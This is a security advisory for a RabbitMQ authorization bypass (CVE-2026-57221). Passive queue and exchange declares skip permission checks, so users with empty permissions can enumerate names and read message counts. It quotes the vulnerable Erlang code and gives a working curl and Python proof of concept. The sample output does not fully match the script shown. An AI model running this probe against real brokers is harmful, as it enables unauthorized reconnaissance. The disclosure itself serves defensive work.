CVE-2026-57221
ADVISORY - dockerSummary
Summary
RabbitMQ does not perform authorization checks on passive queue.declare and exchange.declare AMQP operations. Any authenticated user who can connect to a virtual host -- even with completely empty permissions (configure=^$, write=^$, read=^$) -- can enumerate all queue and exchange names in that virtual host and read queue message counts and consumer counts. This bypasses the intended permission model where users should only be able to see resources they have explicit access to.
Details
The AMQP 0-9-1 queue.declare method with passive=true is intended to check whether a queue exists without creating it. RabbitMQ returns the queue name, current message count, and consumer count in the response. However, the handler for this operation explicitly ignores the authorization context and user.
Missing authorization in passive queue.declare at deps/rabbit/src/rabbit_channel.erl lines 2461-2474:
handle_method(#'queue.declare'{queue = QueueNameBin,
nowait = NoWait,
passive = true},
ConnPid, _AuthzContext, _CollectorPid, VHostPath, _User) ->
%% ^^^^^^^^^^^^ ^^^^^
%% IGNORED IGNORED
StrippedQueueNameBin = strip_cr_lf(QueueNameBin),
QueueName = rabbit_misc:queue_resource(VHostPath, StrippedQueueNameBin),
Fun = fun (Q0) ->
QStat = maybe_stat(NoWait, Q0),
{QStat, Q0}
end,
{{ok, MessageCount, ConsumerCount}, Q} = rabbit_amqqueue:with_or_die(QueueName, Fun),
ok = rabbit_amqqueue:check_exclusive_access(Q, ConnPid),
{ok, QueueName, MessageCount, ConsumerCount};
Note the underscore-prefixed _AuthzContext and _User parameters -- these are explicitly unused. No check_read_permitted, check_write_permitted, or check_configure_permitted call is made.
Compare to other operations that correctly check authorization:
queue.delete at line 2479-2484 properly checks configure permission:
handle_method(#'queue.delete'{queue = QueueNameBin, ...},
ConnPid, AuthzContext, _CollectorPid, VHostPath,
User = #user{username = Username}) ->
...
check_configure_permitted(QueueName, User, AuthzContext),
basic.consume properly checks read permission:
check_read_permitted(QueueName, User, AuthzContext),
basic.publish properly checks write permission:
check_write_permitted(ExchangeName, User, AuthzContext),
Same issue for passive exchange.declare at lines 2570-2575:
handle_method(#'exchange.declare'{exchange = ExchangeNameBin,
passive = true},
_ConnPid, _AuthzContext, _CollectorPid, VHostPath, _User) ->
ExchangeName = rabbit_misc:r(VHostPath, exchange, strip_cr_lf(ExchangeNameBin)),
check_not_default_exchange(ExchangeName),
_ = rabbit_exchange:lookup_or_die(ExchangeName).
Again, _AuthzContext and _User are unused -- no authorization check.
PoC
Step 1: Create a restricted user with empty permissions
# Create user with no tags
curl -u guest:guest -X PUT http://localhost:15672/api/users/lowpriv \
-d '{"password":"lowpriv","tags":""}' -H "content-type:application/json"
# Grant vhost access with empty permission regexes (can connect, can't do anything)
curl -u guest:guest -X PUT http://localhost:15672/api/permissions/%2F/lowpriv \
-d '{"configure":"^$","write":"^$","read":"^$"}' -H "content-type:application/json"
Step 2: Create a "secret" queue as admin
curl -u guest:guest -X PUT http://localhost:15672/api/queues/%2F/secret-admin-queue \
-d '{"durable":true}' -H "content-type:application/json"
# Publish messages to it
for i in $(seq 1 5); do
curl -u guest:guest -X POST http://localhost:15672/api/exchanges/%2F/amq.default/publish \
-d "{\"properties\":{},\"routing_key\":\"secret-admin-queue\",\"payload\":\"msg-$i\",\"payload_encoding\":\"string\"}" \
-H "content-type:application/json"
done
Step 3: Exploit with the low-privilege user
import pika
creds = pika.PlainCredentials('lowpriv', 'lowpriv')
params = pika.ConnectionParameters('localhost', 5672, '/', creds)
conn = pika.BlockingConnection(params)
ch = conn.channel()
# This SHOULD be blocked (user has ^$ permissions) but succeeds
result = ch.queue_declare(queue='secret-admin-queue', passive=True)
print(f"Queue: secret-admin-queue")
print(f"Messages: {result.method.message_count}") # prints 5
print(f"Consumers: {result.method.consumer_count}") # prints 0
# Verify that actual read/write IS properly blocked
try:
ch.basic_get(queue='secret-admin-queue', auto_ack=True)
except pika.exceptions.ChannelClosedByBroker as e:
print(f"basic.get blocked: {e.reply_code} {e.reply_text}")
# 403 ACCESS_REFUSED - read access refused for user 'lowpriv'
Validated output:
$ python3 exploit.py
[+] Connected as lowpriv user (perms: configure=^$ write=^$ read=^$)
[+] VULN CONFIRMED: passive declare succeeded!
[+] Queue: secret-admin-queue
[+] Message count: 5
[+] Consumer count: 0
[+] Exchange exists: amq.direct
[+] Exchange exists: amq.fanout
[+] Exchange exists: amq.topic
[+] Exchange exists: amq.headers
[+] Exchange exists: amq.match
[*] basic.get correctly blocked: 403 ACCESS_REFUSED
[*] basic.publish silently dropped (message count unchanged)
Tested against RabbitMQ 4.2.0 on rabbitmq:4-management Docker image.
Impact
Authorization bypass leading to information disclosure for any authenticated AMQP user.
A user with the minimum possible permissions (empty regex ^$ for configure, write, and read) can:
- Enumerate all queue names in any virtual host they can connect to, by probing names via passive
queue.declare - Read queue message counts revealing current backlog depth, processing status, and business activity levels
- Read consumer counts revealing which queues are actively being processed
- Enumerate all exchange names via passive
exchange.declare
Real-world impact:
- Business intelligence leakage: Queue depths for queues like
orders,payments,transactionsreveal business volume and processing backlogs in real time - Reconnaissance for further attacks: Discovering all queue and exchange names reveals the internal architecture of the messaging system, which queues carry sensitive data, and which are unmonitored
- Timing correlation attacks: Monitoring queue depth changes over time can correlate with external business events
- Multi-tenant exposure: In shared RabbitMQ deployments where multiple applications share a virtual host with different permission sets, one application can enumerate all other applications' queues
Who is impacted:
Any RabbitMQ deployment where:
- Multiple users or applications share a virtual host
- Permission regexes are used to restrict which queues/exchanges each user can access
- The existence or depth of certain queues is considered sensitive information
This is particularly relevant in multi-tenant SaaS platforms, shared development environments, and microservice architectures where different services have scoped permissions within the same virtual host.
Common Weakness Enumeration (CWE)
Docker
CVE-2026-57221
-
| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| rabbitmq | dhi | - | - | >=4.2.6,<4.3.0 | 4.3.0 |
| rabbitmq | dhi | - | - | >=3.13.0,<3.13.15 | 3.13.15 |
| rabbitmq | dhi | - | - | >=4.0.0,<4.0.20 | 4.0.20 |
| rabbitmq | dhi | - | - | >=4.1.0,<4.1.11 | 4.1.11 |
| rabbitmq | dhi | - | - | >=4.2.0,<4.2.6 | 4.2.6 |
Severity and metrics
No CVSS data available from this advisory.